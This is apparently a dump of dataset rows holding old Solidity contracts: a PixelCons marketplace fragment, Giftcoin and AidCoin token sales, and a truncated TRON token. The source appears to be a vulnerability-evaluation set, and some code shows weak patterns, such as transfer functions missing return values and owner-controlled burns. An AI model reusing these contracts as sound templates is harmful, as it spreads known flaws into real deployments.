//convert price units from Wei to Gwei
_startPrice = _startPrice / WEI_PER_GWEI;
_endPrice = _endPrice / WEI_PER_GWEI;
require(_endPrice > uint256(0), "End price cannot be zero (gwei)");
require(_startPrice >= _endPrice, "Start price is lower than the end price");
require(_startPrice < uint256(2 ** 64), "Start price is out of bounds");
require(_endPrice < uint256(2 ** 64), "End price is out of bounds");
//calculate the start date
uint256 startDate = (now / uint256(startDateRoundValue)) * uint256(startDateRoundValue);
require(startDate < uint256(2 ** 64), "Start date is out of bounds");
//round the duration value
_duration = (_duration / uint256(durationRoundValue)) * uint256(durationRoundValue);
require(_duration > uint256(0), "Duration cannot be zero");
require(_duration <= uint256(maxDuration), "Duration is higher than the max allowed");
require(_duration >= uint256(minDuration), "Duration is lower than the min allowed");
//get pixelcon index
uint64 pixelconIndex = pixelconsContract.getTokenIndex(_tokenId);
//create the listing object
Listing storage listing = marketPixelconListings[pixelconIndex];
listing.startAmount = uint64(_startPrice);
listing.endAmount = uint64(_endPrice);
listing.startDate = uint64(startDate);
listing.duration = uint64(_duration);
listing.seller = _seller;
//store references
uint64[] storage sellerTokens = sellerPixelconIndexes[_seller];
uint sellerTokensIndex = sellerTokens.length;
uint forSaleIndex = forSalePixelconIndexes.length;
require(sellerTokensIndex < uint256(2 ** 32 - 1), "Max number of market listings has been exceeded for seller");
require(forSaleIndex < uint256(2 ** 64 - 1), "Max number of market listings has been exceeded");
listing.sellerIndex = uint32(sellerTokensIndex);
listing.forSaleIndex = uint64(forSaleIndex);
sellerTokens.length++;
sellerTokens[sellerTokensIndex] = pixelconIndex;
forSalePixelconIndexes.length++;
forSalePixelconIndexes[forSaleIndex] = pixelconIndex;
emit Create(pixelconIndex, _seller, _startPrice, _endPrice, uint64(_duration));
}
function exists(uint64 _pixelconIndex) public view returns(bool)
{
return (marketPixelconListings[_pixelconIndex].seller != address(0));
}
function totalListings() public view returns(uint256)
{
return forSalePixelconIndexes.length;
}
function getListing(uint64 _pixelconIndex) public view returns(address _seller, uint256 _startPrice, uint256 _endPrice, uint256 _currPrice,
uint64 _startDate, uint64 _duration, uint64 _timeLeft)
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
require(listing.seller != address(0), "Market listing does not exist");
//return all data
_seller = listing.seller;
_startPrice = uint256(listing.startAmount) * WEI_PER_GWEI;
_endPrice = uint256(listing.endAmount) * WEI_PER_GWEI;
_currPrice = calcCurrentPrice(uint256(listing.startAmount), uint256(listing.endAmount), uint256(listing.startDate), uint256(listing.duration));
_startDate = listing.startDate;
_duration = listing.duration;
_timeLeft = calcTimeLeft(uint256(listing.startDate), uint256(listing.duration));
}
function removeListing(uint64 _pixelconIndex) public
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
require(listing.seller != address(0), "Market listing does not exist");
require(msg.sender == listing.seller || msg.sender == admin, "Insufficient permissions");
//get data
uint256 tokenId = pixelconsContract.tokenByIndex(_pixelconIndex);
address seller = listing.seller;
//clear the listing from storage
clearListingData(seller, _pixelconIndex);
//transfer pixelcon back to seller
pixelconsContract.transferFrom(address(this), seller, tokenId);
emit Remove(_pixelconIndex, msg.sender);
}
function purchase(address _to, uint64 _pixelconIndex) public payable validAddress(_to)
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
require(systemLock != LOCK_REMOVE_ONLY, "Market is currently locked");
require(listing.seller != address(0), "Market listing does not exist");
require(listing.seller != msg.sender, "Seller cannot purchase their own listing");
//calculate current price based on the time
uint256 currPrice = calcCurrentPrice(uint256(listing.startAmount), uint256(listing.endAmount), uint256(listing.startDate), uint256(listing.duration));
require(currPrice != uint256(0), "Market listing has expired");
require(msg.value >= currPrice + (currPrice * uint256(devFee)) / FEE_RATIO, "Insufficient value sent");
//get data
uint256 tokenId = pixelconsContract.tokenByIndex(_pixelconIndex);
address seller = listing.seller;
//clear the listing from storage
clearListingData(seller, _pixelconIndex);
//transfer pixelcon to buyer and value to seller
pixelconsContract.transferFrom(address(this), _to, tokenId);
seller.transfer(currPrice);
emit Purchase(_pixelconIndex, msg.sender, currPrice);
}
////////////////// Web3 Only //////////////////
function getBasicData(uint64[] _indexes) public view returns(uint64[], address[], uint256[], uint64[])
{
uint64[] memory tokenIndexes = new uint64[](_indexes.length);
address[] memory sellers = new address[](_indexes.length);
uint256[] memory currPrices = new uint256[](_indexes.length);
uint64[] memory timeLeft = new uint64[](_indexes.length);
for (uint i = 0; i < _indexes.length; i++) {
Listing storage listing = marketPixelconListings[_indexes[i]];
if (listing.seller != address(0)) {
//listing exists
tokenIndexes[i] = _indexes[i];
sellers[i] = listing.seller;
currPrices[i] = calcCurrentPrice(uint256(listing.startAmount), uint256(listing.endAmount), uint256(listing.startDate), uint256(listing.duration));
timeLeft[i] = calcTimeLeft(uint256(listing.startDate), uint256(listing.duration));
} else {
//listing does not exist
tokenIndexes[i] = 0;
sellers[i] = 0;
currPrices[i] = 0;
timeLeft[i] = 0;
}
}
return (tokenIndexes, sellers, currPrices, timeLeft);
}
function getForSeller(address _seller) public view validAddress(_seller) returns(uint64[])
{
return sellerPixelconIndexes[_seller];
}
function getAllListings() public view returns(uint64[])
{
return forSalePixelconIndexes;
}
function getListingsInRange(uint64 _startIndex, uint64 _endIndex) public view returns(uint64[])
{
require(_startIndex <= totalListings(), "Start index is out of bounds");
require(_endIndex <= totalListings(), "End index is out of bounds");
require(_startIndex <= _endIndex, "End index is less than the start index");
uint64 length = _endIndex - _startIndex;
uint64[] memory indexes = new uint64[](length);
for (uint i = 0; i < length; i++) {
indexes[i] = forSalePixelconIndexes[_startIndex + i];
}
return indexes;
}
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4)
{
//only receive tokens from the PixelCons contract
require(systemLock == LOCK_NONE, "Market is currently locked");
require(msg.sender == address(pixelconsContract), "Market only accepts transfers from the PixelCons contract");
require(_tokenId != uint256(0), "Invalid token ID");
require(_operator != address(0), "Invalid operator address");
require(_from != address(0), "Invalid from address");
//extract parameters from byte array
require(_data.length == 32 * 3, "Incorrectly formatted data");
uint256 startPrice;
uint256 endPrice;
uint256 duration;
assembly {
startPrice := mload(add(_data, 0x20))
endPrice := mload(add(_data, 0x40))
duration := mload(add(_data, 0x60))
}
//add listing for the received token
makeListing(_from, _tokenId, startPrice, endPrice, duration);
//all good
return ERC721_RECEIVED;
}
function clearListingData(address _seller, uint64 _pixelconIndex) internal
{
Listing storage listing = marketPixelconListings[_pixelconIndex];
//clear sellerPixelconIndexes reference
uint64[] storage sellerTokens = sellerPixelconIndexes[_seller];
uint64 replacementSellerTokenIndex = sellerTokens[sellerTokens.length - 1];
delete sellerTokens[sellerTokens.length - 1];
sellerTokens.length--;
if (listing.sellerIndex < sellerTokens.length) {
sellerTokens[listing.sellerIndex] = replacementSellerTokenIndex;
marketPixelconListings[replacementSellerTokenIndex].sellerIndex = listing.sellerIndex;
}
//clear forSalePixelconIndexes reference
uint64 replacementForSaleTokenIndex = forSalePixelconIndexes[forSalePixelconIndexes.length - 1];
delete forSalePixelconIndexes[forSalePixelconIndexes.length - 1];
forSalePixelconIndexes.length--;
if (listing.forSaleIndex < forSalePixelconIndexes.length) {
forSalePixelconIndexes[listing.forSaleIndex] = replacementForSaleTokenIndex;
marketPixelconListings[replacementForSaleTokenIndex].forSaleIndex = listing.forSaleIndex;
}
//clear the listing object
delete marketPixelconListings[_pixelconIndex];
}
function calcCurrentPrice(uint256 _startAmount, uint256 _endAmount, uint256 _startDate, uint256 _duration) internal view returns(uint256)
{
uint256 timeDelta = now - _startDate;
if (timeDelta > _duration) return uint256(0);
timeDelta = timeDelta / uint256(priceUpdateInterval);
uint256 durationTotal = _duration / uint256(priceUpdateInterval);
return (_startAmount - ((_startAmount - _endAmount) * timeDelta) / durationTotal) * WEI_PER_GWEI;
}
function calcTimeLeft(uint256 _startDate, uint256 _duration) internal view returns(uint64)
{
uint256 timeDelta = now - _startDate;
if (timeDelta > _duration) return uint64(0);
return uint64(_duration - timeDelta);
}
}
contract PixelCons {
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function getTokenIndex(uint256 _tokenId) public view returns(uint64);
function tokenByIndex(uint256 _tokenIndex) public view returns(uint256);
}
| 212,662 | 14,089 |
0f0864c81110111c6873bd4ef53b507ae74a365bec80088f1f1559ea4b3e294e
| 20,246 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x6834ffe10a402560cc37033f06321b8a632041c5.sol
| 3,333 | 12,461 |
pragma solidity ^0.4.15;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/BurnableToken.sol
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _amount) public {
require(_amount > 0);
require(_amount <= balances[msg.sender]);
// no need to require _amount <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Transfer(burner, address(0), _amount);
Burn(burner, _amount);
}
function burnFrom(address _from, uint256 _amount) onlyOwner public {
require(_from != address(0));
require(_amount > 0);
require(_amount <= balances[_from]);
// no need to require _amount <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_from] = balances[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Transfer(_from, address(0), _amount);
Burn(_from, _amount);
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: contracts/GiftToken.sol
contract GiftToken is BurnableToken, Pausable {
string constant public name = "Giftcoin";
string constant public symbol = "GIFT";
uint8 constant public decimals = 18;
uint256 constant public INITIAL_TOTAL_SUPPLY = 2e7 * (uint256(10) ** decimals);
address private addressIco;
modifier onlyIco() {
require(msg.sender == addressIco);
_;
}
function GiftToken (address _ico) {
require(_ico != address(0));
addressIco = _ico;
totalSupply = totalSupply.add(INITIAL_TOTAL_SUPPLY);
balances[_ico] = balances[_ico].add(INITIAL_TOTAL_SUPPLY);
Transfer(address(0), _ico, INITIAL_TOTAL_SUPPLY);
pause();
}
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
super.transferFrom(_from, _to, _value);
}
function transferFromIco(address _to, uint256 _value) onlyIco public returns (bool) {
super.transfer(_to, _value);
}
}
// File: contracts/Whitelist.sol
contract Whitelist is Ownable {
struct WalletInfo {
string data;
bool whitelisted;
}
address private addressApi;
mapping(address => WalletInfo) public whitelist;
uint256 public whitelistLength = 0;
modifier onlyPrivilegeAddresses {
require(msg.sender == addressApi || msg.sender == owner);
_;
}
function setApiAddress(address _api) onlyOwner public {
require(_api != address(0));
addressApi = _api;
}
function addWallet(address _wallet, string _data) onlyPrivilegeAddresses public {
require(_wallet != address(0));
require(!isWhitelisted(_wallet));
whitelist[_wallet].data = _data;
whitelist[_wallet].whitelisted = true;
whitelistLength++;
}
function updateWallet(address _wallet, string _data) onlyPrivilegeAddresses public {
require(_wallet != address(0));
require(isWhitelisted(_wallet));
whitelist[_wallet].data = _data;
}
function removeWallet(address _wallet) onlyPrivilegeAddresses public {
require(_wallet != address(0));
require(isWhitelisted(_wallet));
delete whitelist[_wallet];
whitelistLength--;
}
function isWhitelisted(address _wallet) constant public returns (bool) {
return whitelist[_wallet].whitelisted;
}
function walletData(address _wallet) constant public returns (string) {
return whitelist[_wallet].data;
}
}
// File: contracts/Whitelistable.sol
contract Whitelistable {
Whitelist public whitelist;
modifier whenWhitelisted(address _wallet) {
require(whitelist.isWhitelisted(_wallet));
_;
}
function Whitelistable () public {
whitelist = new Whitelist();
whitelist.transferOwnership(msg.sender);
}
}
// File: contracts/GiftCrowdsale.sol
contract GiftCrowdsale is Pausable, Whitelistable {
using SafeMath for uint256;
uint256 public startTimestamp = 0;
uint256 public endTimestamp = 0;
uint256 public exchangeRate = 0;
uint256 public tokensSold = 0;
uint256 constant public minimumInvestment = 25e16; // 0.25 ETH
uint256 public minCap = 0;
uint256 public endFirstPeriodTimestamp = 0;
uint256 public endSecondPeriodTimestamp = 0;
uint256 public endThirdPeriodTimestamp = 0;
GiftToken public token = new GiftToken(this);
mapping(address => uint256) public investments;
modifier whenSaleIsOpen () {
require(now >= startTimestamp && now < endTimestamp);
_;
}
modifier whenSaleHasEnded () {
require(now >= endTimestamp);
_;
}
function GiftCrowdsale (uint256 _startTimestamp,
uint256 _endTimestamp,
uint256 _exchangeRate,
uint256 _minCap) public
{
require(_startTimestamp >= now && _endTimestamp > _startTimestamp);
require(_exchangeRate > 0);
startTimestamp = _startTimestamp;
endTimestamp = _endTimestamp;
exchangeRate = _exchangeRate;
endFirstPeriodTimestamp = _startTimestamp.add(1 days);
endSecondPeriodTimestamp = _startTimestamp.add(1 weeks);
endThirdPeriodTimestamp = _startTimestamp.add(2 weeks);
minCap = _minCap;
}
function discount() constant public returns (uint256) {
if (now > endThirdPeriodTimestamp)
return 0;
if (now > endSecondPeriodTimestamp)
return 15;
if (now > endFirstPeriodTimestamp)
return 25;
return 35;
}
function bonus() constant public returns (uint256) {
if (now > endSecondPeriodTimestamp)
return 0;
if (now > endFirstPeriodTimestamp)
return 3;
return 5;
}
function sellTokens () whenSaleIsOpen whenWhitelisted(msg.sender) whenNotPaused public payable {
require(msg.value > minimumInvestment);
uint256 _bonus = bonus();
uint256 _discount = discount();
uint256 tokensAmount = (msg.value).mul(exchangeRate).mul(_bonus.add(100)).div((100 - _discount));
token.transferFromIco(msg.sender, tokensAmount);
tokensSold = tokensSold.add(tokensAmount);
addInvestment(msg.sender, msg.value);
}
function () public payable {
sellTokens();
}
function withdrawal (address _wallet) onlyOwner whenSaleHasEnded external {
require(_wallet != address(0));
_wallet.transfer(this.balance);
token.transferOwnership(msg.sender);
}
function assignTokens (address _to, uint256 _value) onlyOwner external {
token.transferFromIco(_to, _value);
}
function addInvestment(address _from, uint256 _value) internal {
investments[_from] = investments[_from].add(_value);
}
function refundPayment() whenWhitelisted(msg.sender) whenSaleHasEnded external {
require(tokensSold < minCap);
require(investments[msg.sender] > 0);
token.burnFrom(msg.sender, token.balanceOf(msg.sender));
uint256 investment = investments[msg.sender];
investments[msg.sender] = 0;
(msg.sender).transfer(investment);
}
function transferTokenOwnership(address _newOwner) onlyOwner public {
token.transferOwnership(_newOwner);
}
function updateIcoEnding(uint256 _endTimestamp) onlyOwner public {
endTimestamp = _endTimestamp;
}
}
| 221,018 | 14,090 |
d0f7c14d6a4c70096a2a1c18e83d11ec529c9688f65b2b1d43726220da0dcda6
| 17,777 |
.sol
|
Solidity
| false |
367422064
|
YuGer26/ERC20-List-All
|
4f93234ff8de0cddf2ca81994275768250f2b1b7
|
erc20/AidCoin(AID)_0x37e8789bb9996cac9156cd5f5fd32599e6b91289.sol
| 3,961 | 14,408 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function claim() public {
require(msg.sender == beneficiary);
release();
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract AidCoin is MintableToken, BurnableToken {
string public name = "AidCoin";
string public symbol = "AID";
uint256 public decimals = 18;
uint256 public maxSupply = 100000000 * (10 ** decimals);
function AidCoin() public {
}
modifier canTransfer(address _from, uint _value) {
require(mintingFinished);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract AidCoinPresale is Ownable, Crowdsale {
using SafeMath for uint256;
// max tokens cap
uint256 public tokenCap = 10000000 * (10 ** 18);
// amount of sold tokens
uint256 public soldTokens;
// Team wallet
address public teamWallet;
// Advisor wallet
address public advisorWallet;
// AID pool wallet
address public aidPoolWallet;
// Company wallet
address public companyWallet;
// Bounty wallet
address public bountyWallet;
// reserved tokens
uint256 public teamTokens = 10000000 * (10 ** 18);
uint256 public advisorTokens = 10000000 * (10 ** 18);
uint256 public aidPoolTokens = 10000000 * (10 ** 18);
uint256 public companyTokens = 27000000 * (10 ** 18);
uint256 public bountyTokens = 3000000 * (10 ** 18);
uint256 public claimedAirdropTokens;
mapping (address => bool) public claimedAirdrop;
// team locked tokens
TokenTimelock public teamTimeLock;
// advisor locked tokens
TokenTimelock public advisorTimeLock;
// company locked tokens
TokenTimelock public companyTimeLock;
modifier beforeEnd() {
require(now < endTime);
_;
}
function AidCoinPresale(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
address _teamWallet,
address _advisorWallet,
address _aidPoolWallet,
address _companyWallet,
address _bountyWallet) public
Crowdsale (_startTime, _endTime, _rate, _wallet)
{
require(_teamWallet != 0x0);
require(_advisorWallet != 0x0);
require(_aidPoolWallet != 0x0);
require(_companyWallet != 0x0);
require(_bountyWallet != 0x0);
teamWallet = _teamWallet;
advisorWallet = _advisorWallet;
aidPoolWallet = _aidPoolWallet;
companyWallet = _companyWallet;
bountyWallet = _bountyWallet;
// give tokens to aid pool
token.mint(aidPoolWallet, aidPoolTokens);
// give tokens to team with lock
teamTimeLock = new TokenTimelock(token, teamWallet, uint64(now + 1 years));
token.mint(address(teamTimeLock), teamTokens);
// give tokens to company with lock
companyTimeLock = new TokenTimelock(token, companyWallet, uint64(now + 1 years));
token.mint(address(companyTimeLock), companyTokens);
// give tokens to advisor
uint256 initialAdvisorTokens = advisorTokens.mul(20).div(100);
token.mint(advisorWallet, initialAdvisorTokens);
uint256 lockedAdvisorTokens = advisorTokens.sub(initialAdvisorTokens);
advisorTimeLock = new TokenTimelock(token, advisorWallet, uint64(now + 180 days));
token.mint(address(advisorTimeLock), lockedAdvisorTokens);
}
function createTokenContract() internal returns (MintableToken) {
return new AidCoin();
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
// get wei amount
uint256 weiAmount = msg.value;
// calculate token amount to be transferred
uint256 tokens = weiAmount.mul(rate);
// calculate new total sold
uint256 newTotalSold = soldTokens.add(tokens);
// check if we are over the max token cap
require(newTotalSold <= tokenCap);
// update states
weiRaised = weiRaised.add(weiAmount);
soldTokens = newTotalSold;
// mint tokens to beneficiary
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender,
beneficiary,
weiAmount,
tokens);
forwardFunds();
}
// mint tokens for airdrop
function airdrop(address[] users) public onlyOwner beforeEnd {
require(users.length > 0);
uint256 amount = 5 * (10 ** 18);
uint len = users.length;
for (uint i = 0; i < len; i++) {
address to = users[i];
if (!claimedAirdrop[to]) {
claimedAirdropTokens = claimedAirdropTokens.add(amount);
require(claimedAirdropTokens <= bountyTokens);
claimedAirdrop[to] = true;
token.mint(to, amount);
}
}
}
// close token sale and transfer ownership, also move unclaimed airdrop tokens
function closeTokenSale(address _icoContract) public onlyOwner {
require(hasEnded());
require(_icoContract != 0x0);
// mint unclaimed bounty tokens
uint256 unclaimedAirdropTokens = bountyTokens.sub(claimedAirdropTokens);
if (unclaimedAirdropTokens > 0) {
token.mint(bountyWallet, unclaimedAirdropTokens);
}
// transfer token ownership to ico contract
token.transferOwnership(_icoContract);
}
// overriding Crowdsale#hasEnded to add tokenCap logic
// @return true if crowdsale event has ended or cap is reached
function hasEnded() public constant returns (bool) {
bool capReached = soldTokens >= tokenCap;
return super.hasEnded() || capReached;
}
// @return true if crowdsale event has started
function hasStarted() public constant returns (bool) {
return now >= startTime && now < endTime;
}
}
| 228,424 | 14,091 |
9788a8976c480714cb72c9e1a840c3d975099fff955f97f168ec29f6ab58b13c
| 25,766 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKvUCJeukrMBZu6atujScbjTMKBkzu4xBd_WEEToken.sol
| 4,120 | 16,051 |
//SourceUnit: wee.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
